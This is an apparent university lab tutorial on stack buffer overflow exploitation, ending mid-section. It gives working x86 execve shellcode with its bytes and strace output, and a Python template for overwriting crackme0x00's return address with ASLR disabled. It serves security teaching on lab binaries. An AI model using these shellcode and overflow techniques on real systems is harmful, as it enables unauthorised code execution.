Lab2: Exploit Stack Buffer Overflow

Download the challenges from here. Again, you need a Linux machine for all the labs. Please refer to the Phrack article for help.

Starting from jmp-to-env, you will use the shellcode you developed for shellcode32 to read and print out the flag file.

0. Preparation

Both steps requires root permission, if you can only access computers in the lab, you can install a VM and work inside the VM.

0.0 Install VM on lab machines

You can use the space available under /extra/<login> on lab machines that you log in to in order to store the VMs. This directory is per machine, however there is an average of 160 GB free per machine (enough for a lot of VMs!). It is not backed up, so you are encouraged to back up any files you care about to your remote home directories using scp or an alternative method. It is also recommended to use the same computer (or SSH in to it through bolt.cs.ucr.edu when working remotely) to avoid having to re-create a VM on another system.

0.1 Install libseccomp

libseccomp is used in shellcode32. On Debian/Ubuntu, you can use following commands.

sudo dpkg --add-architecture i386
sudo apt-get -qq update
sudo apt-get -q install -y libseccomp-dev libseccomp-dev:i386

On Fedora/CentOS, you can use following commands

sudo yum install libseccomp-devel.i686 libseccomp-devel.x86_64

0.2 Disable ASLR

To make you life easier, let’s disable all three defense mechanisms. DEP and stack canary can be disable during compilation, but disabling ASLR has to be done manually.

sudo sysctl -w kernel.randomize_va_space=0

To re-enable ASLR.

sudo sysctl -w kernel.randomize_va_space=2

1. Shellcode

The first step toward a successful exploit is your shellcode. In this tutorial, we will walk together to write your first shellcode.

1.1 Warmup

Under the tutorial directory, you can find an example shellcode that provides you a shell (/bin/sh):

#include <sys/syscall.h>

#define STRING  "/bin/sh"
#define STRLEN  7
#define ARGV    (STRLEN+1)
#define ENVP    (ARGV+4)

.globl main
.type  main, @function

main:
jmp     calladdr

popladdr:
popl    %esi                    /* esi points to STRING */
movl    %esi,(ARGV)(%esi)       /* set up argv pointer to pathname */
xorl    %eax,%eax               /* get a 32-bit zero value */
movb    %al,(STRLEN)(%esi)      /* null-terminate our string */
movl    %eax,(ENVP)(%esi)       /* set up null envp */

movb    $SYS_execve,%al         /* syscall number */
movl    %esi,%ebx               /* arg 1: string pathname */
leal    ARGV(%esi),%ecx         /* arg 2: argv */
leal    ENVP(%esi),%edx         /* arg 3: envp */
int     $0x80                   /* execve("/bin/sh", ["/bin/sh", NULL], [NULL]) */

xorl    %ebx,%ebx               /* arg 1: 0 */
movl    %ebx,%eax
inc     %eax                    /* exit(0) */
/* mov+inc to avoid null byte */
int     $0x80                   /* invoke syscall */

calladdr:
call    popladdr
.string STRING

You can test it by

$ make test
bash -c '(cat shellcode.bin; echo; cat) | strace -e execve ./target'
execve("./target", ["./target"], [/* 23 vars */]) = 0
[ Process PID=9422 runs in 32 bit mode. ]
> length: 45
> 0000: EB 1F 5E 89 76 08 31 C0 88 46 07 89 46 0C B0 0B
> 0010: 89 F3 8D 4E 08 8D 56 0C CD 80 31 DB 89 D8 40 CD
> 0020: 80 E8 DC FF FF FF 2F 62 69 6E 2F 73 68
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0

1.2 From shell to cat

We will now modify the shellcode to invoke /bin/cat that reads the flag, as follows:

$ cat flag

Please modify below lines in shellcode.S

#define STRING  "/bin/sh"
#define STRLEN  7

1.2.1. Hello

Type “hello” and do you see echo-ed “hello” after?

$ make test
bash -c '(cat shellcode.bin; echo; cat) | ./target'
> length: 46
> 0000: EB 1F 5E 89 76 09 31 C0 88 46 08 89 46 0D B0 0B
> 0010: 89 F3 8D 4E 09 8D 56 0D CD 80 31 DB 89 D8 40 CD
> 0020: 80 E8 DC FF FF FF 2F 62 69 6E 2F 63 61 74
hello
hello

1.2.2. strace

Let’s use “strace” to trace system calls.

$ (cat shellcode.bin; echo; cat) | strace ./target
...
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff77b5000
write(1, "> length: 46\n", 13> length: 46
)          = 13
write(1, "> 0000: EB 1F 5E 89 76 09 31 C0 "..., 57> 0000: EB 1F 5E 89 76 09 31 C0 88 46 08 89 46 0D B0 0B
) = 57
write(1, "> 0010: 89 F3 8D 4E 09 8D 56 0D "..., 57> 0010: 89 F3 8D 4E 09 8D 56 0D CD 80 31 DB 89 D8 40 CD
) = 57
write(1, "> 0020: 80 E8 DC FF FF FF 2F 62 "..., 51> 0020: 80 E8 DC FF FF FF 2F 62 69 6E 2F 63 61 74
) = 51
execve("/bin/cat", ["/bin/cat"], [/* 0 vars */]) = 0
[ Process PID=4565 runs in 64 bit mode. ]
...

Do you see exeve("/bin/cat"...)? or you can specify “-e” to check systems of your interests (in this case, execve()):

$ (cat shellcode.bin; echo; cat) | strace -e execve ./target
execve("./target", ["./target"], [/* 20 vars */]) = 0
[ Process PID=4581 runs in 32 bit mode. ]
> length: 46
> 0000: EB 1F 5E 89 76 09 31 C0 88 46 08 89 46 0D B0 0B
> 0010: 89 F3 8D 4E 09 8D 56 0D CD 80 31 DB 89 D8 40 CD
> 0020: 80 E8 DC FF FF FF 2F 62 69 6E 2F 63 61 74
execve("/bin/cat", ["/bin/cat"], [/* 0 vars */]) = 0
[ Process PID=4581 runs in 64 bit mode. ]

If you are not familiar with execve(), please read man execve (and man strace).

1.3 Add argument to cat

Your string payload looks like this:

+-------------+
v             |
[/bin/cat][0][ptr ][NULL]
              ^     ^
              |     +-- envp
              +-- argv

NOTE. [0] is overwritten by:

movb    %al,(STRLEN)(%esi)      /* null-terminate our string */

Our plan is to make the payload as follows:

+----------------------+
|             +--------=-----+
v             v        |     |
[/bin/cat][0][flag][0][ptr1][ptr2][NULL]
                       ^           ^
                       |           +-- envp
                       +-- argv

1.3.1. STRING

Modify /bin/cat to /bin/catNflag

#define STRING  "/bin/catNflag"
#define STRLEN1 8
#define STRLEN2 13

How could you change STRLEN? Fix compilation errors! (N is a placeholder for an NULL byte that we will overwrite).

1.3.2. NULL

Place a NULL after /bin/cat and flag

Modify this assembly code:

movb    %al,(STRLEN)(%esi)      /* null-terminate our string */

Then try?

$ make test
...
execve("/bin/cat", ["/bin/cat", NULL], [/* 0 vars */])

Does it execute /bin/cat?

1.3.3. ARGV

Let’s modify the “argv” array to point to “flag”!

Referring to this assembly code, how to place the address of flag to ARGV+4.

movl    %esi,(ARGV)(%esi)       /* set up argv[0] pointer to pathname */

Then try?

$ make test
...
execve("/bin/cat", ["/bin/cat", "flag"], [/* 0 vars */]) = 0

Does it execute /bin/cat with flag!

Great! Now you are ready to write x86 shellcodes!

2. crackme

If you disassembled crackme0x00, you might see these code snippet:

$ objdump -d crackme0x00
...
8048448:       8d 45 e8                lea    -0x18(%ebp),%eax
804844b:       89 44 24 04             mov    %eax,0x4(%esp)
804844f:       c7 04 24 8c 85 04 08    movl   $0x804858c,(%esp)
8048456:       e8 d5 fe ff ff          call   8048330 <scanf@plt>
...

What’s the value of 0x804858c? Yes, “%s”, which means the scanf() function gets a string as an argument on -0x18(%ebp) location.

2.1. Crash

What happens if you provide a long string? Like below.

$ echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | ./crackme0x00
IOLI Crackme Level 0x00
Password: Invalid Password!
Segmentation fault

There are a few ways to check the status of the last segmentation fault:

  1. checking logging messages
$ dmesg | tail -1
[237413.117757] crackme0x00[353]: segfault at 41414141 ip 0000000041414141 sp 00000000ff92aef0
error 14 in libc-2.24.so[f7578000+1b3000]
  1. running gdb
$ echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > input
$ gdb ./crackme0x00
> run <input
Starting program: ./crackme0x00 <input
IOLI Crackme Level 0x00
Password: Invalid Password!

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

2.2. Control EIP

Let’s figure out which input tainted the instruction pointer.

$ echo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ > input
$ dmesg | tail -1
[238584.915883] crackme0x00[1095]: segfault at 48484848 ip 0000000048484848 sp 00000000ffc32f80
error 14 in libc-2.24.s

What’s the current instruction pointer? You might need this help:

$ man ascii

You can also figure out the exact shape of the stack frame by looking at the instructions as well.

$ objdump -d crackme0x00
...
8048414:       55                      push   %ebp
8048415:       89 e5                   mov    %esp,%ebp
8048417:       83 ec 28                sub    $0x28,%esp
...
8048448:       8d 45 e8                lea    -0x18(%ebp),%eax
804844b:       89 44 24 04             mov    %eax,0x4(%esp)
804844f:       c7 04 24 8c 85 04 08    movl   $0x804858c,(%esp)
8048456:       e8 d5 fe ff ff          call   8048330 <scanf@plt>
...


           |<---0x18-->|+--- ebp
top                     v
[          [       ]   ][fp][ra]
|<----   0x28  ------->|

0x18 + 4 = 28, which is exactly the length of “AAAABBBBCCCCDDDDEEEEFFFFGGGG” the following “HHHH” will cover the [ra].

In this tutorial, we are going to hijack the control flow of ./crackme0x00 by overwriting the instruction pointer. As a first step, let’s make it print out “Password OK :)”!

   8048469:       e8 e2 fe ff ff          call   8048350 <strcmp@plt>
   804846e:       85 c0                   test   %eax,%eax
   8048470:       74 0e                   je     8048480 <main+0x6c>
   8048472:       c7 04 24 96 85 04 08    movl   $0x8048596,(%esp)
   8048479:       e8 c2 fe ff ff          call   8048340 <printf@plt>
   804847e:       eb 0c                   jmp    804848c <main+0x78>
-> 8048480:       c7 04 24 a9 85 04 08    movl   $0x80485a9,(%esp)
   8048487:       e8 b4 fe ff ff          call   8048340 <printf@plt>
   804848c:       b8 00 00 00 00          mov    $0x0,%eax
   8048491:       c9                      leave
   8048492:       c3                      ret

We are going to jump to 0x08048480 such that it prints out “Password OK :)”. Which characters in input should be changed to 0x08048480? Let me remind you that x86 is a little-endian machine.

$ hexedit input

“C-x” will save your modification.

$ cat input | ./crackme0x00
IOLI Crackme Level 0x00
Password: Invalid Password!
Password OK :)
Segmentation fault

2.3. Exploit Script

Let’s create a python template for exploitation.

#!/usr/bin/env python2

import os
import struct
import subprocess as sp

def p32(n):
    return struct.pack("<I", n)

def p64(n):
    return struct.pack("<Q", n)

if __name__ == '__main__':

    assert p32(0x12345678) == b'\x78\x56\x34\x12'
    assert p64(0x12345678) == b'\x78\x56\x34\x12\x00\x00\x00\x00'

    cmds = ["./crackme0x00"]
    env = os.environ
    input = "hello world\n"

    p = sp.Popen(cmds, env=env,
                 stdin=sp.PIPE,
                 universal_newlines=False)
    p.communicate(input)
    p.wait()

Please modify this python script to hijack the control flow of crackme0x00!

3. PEDA

PEDA is a GDB plugin for exploit development. If you’re interested, check